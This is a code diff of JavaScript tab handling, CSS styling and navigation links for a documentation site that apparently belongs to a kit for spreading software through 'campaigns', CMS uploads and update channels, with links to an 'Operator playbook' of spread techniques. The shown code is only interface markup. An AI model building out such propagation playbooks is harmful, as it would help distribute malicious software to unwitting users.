if (tabId) activateTab(tabId);
if (el) window.setTimeout(() => el.scrollIntoView({ behavior: 'smooth', block: 'start' }), 80);
}
});
});
const hash = window.location.hash.slice(1);
const tabFromHash =
hash && document.querySelector('[data-spread-panel="' + hash + '"]')
? hash
: hash && document.getElementById(hash)
? document.getElementById(hash).closest('[data-spread-panel]')?.getAttribute('data-spread-panel')
: null;
activateTab(tabFromHash || 'overview', false);
if (hash && document.getElementById(hash)) {
window.setTimeout(() => document.getElementById(hash).scrollIntoView({ behavior: 'smooth', block: 'start' }), 120);
}
})();

View File

@@ -411,6 +411,109 @@ mark.wiki-search-highlight {
line-height: 180px;
}
/* Feature status badges (Working / Stub / Disabled) */
.wiki-status {
display: inline-block;
font-family: var(--font-tech);
font-size: 0.72rem;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
padding: 0.12rem 0.45rem;
border-radius: 3px;
border: 1px solid transparent;
white-space: nowrap;
}
.wiki-status.working {
color: var(--neon-green);
border-color: rgba(46, 232, 16, 0.35);
background: rgba(46, 232, 16, 0.08);
}
.wiki-status.partial {
color: var(--neon-amber);
border-color: rgba(232, 152, 48, 0.35);
background: rgba(232, 152, 48, 0.08);
}
.wiki-status.windows {
color: var(--neon-cyan);
border-color: rgba(0, 232, 245, 0.3);
background: rgba(0, 232, 245, 0.06);
}
.wiki-status.stub,
.wiki-status.disabled {
color: var(--text-muted);
border-color: rgba(94, 88, 104, 0.5);
background: rgba(94, 88, 104, 0.12);
}
/* Spread techniques tabbed playbook */
.spread-tab-bar {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
margin: 0 0 1.25rem;
padding-bottom: 0.75rem;
border-bottom: 1px solid var(--border-brass);
}
.spread-tab {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.04em;
text-transform: uppercase;
padding: 0.4rem 0.7rem;
border: 1px solid var(--border-brass);
border-radius: 4px;
background: var(--bg-panel);
color: var(--text-secondary);
cursor: pointer;
transition: border-color 0.15s, color 0.15s, box-shadow 0.15s;
}
.spread-tab:hover {
color: var(--neon-cyan);
border-color: var(--border-neon);
}
.spread-tab.active {
color: var(--neon-cyan);
border-color: var(--neon-cyan);
box-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
}
.spread-panel[hidden] {
display: none !important;
}
.spread-panel h3 {
margin-top: 0;
}
.spread-steps {
margin: 0 0 1rem;
padding-left: 1.25rem;
}
.spread-steps li {
margin-bottom: 0.45rem;
}
.spread-deck-link {
display: inline-block;
margin-top: 0.5rem;
font-family: var(--font-tech);
font-size: 0.82rem;
color: var(--neon-amber);
}
.spread-deck-link:hover {
color: var(--neon-cyan);
}
@media (max-width: 768px) {
.wiki-sidebar {
position: relative;

View File

@@ -16,7 +16,7 @@
<a href="#campaigns">Campaigns</a>
<a href="#cms">CMS upload</a>
<a href="#plugins">Plugins</a>
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
</div>
</nav>
@@ -169,7 +169,8 @@
<p>
<span class="tag">Tip</span>
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
</p>
</section>
@@ -230,7 +231,7 @@
<p>
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
<em>you</em> operate. See
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
</p>
</section>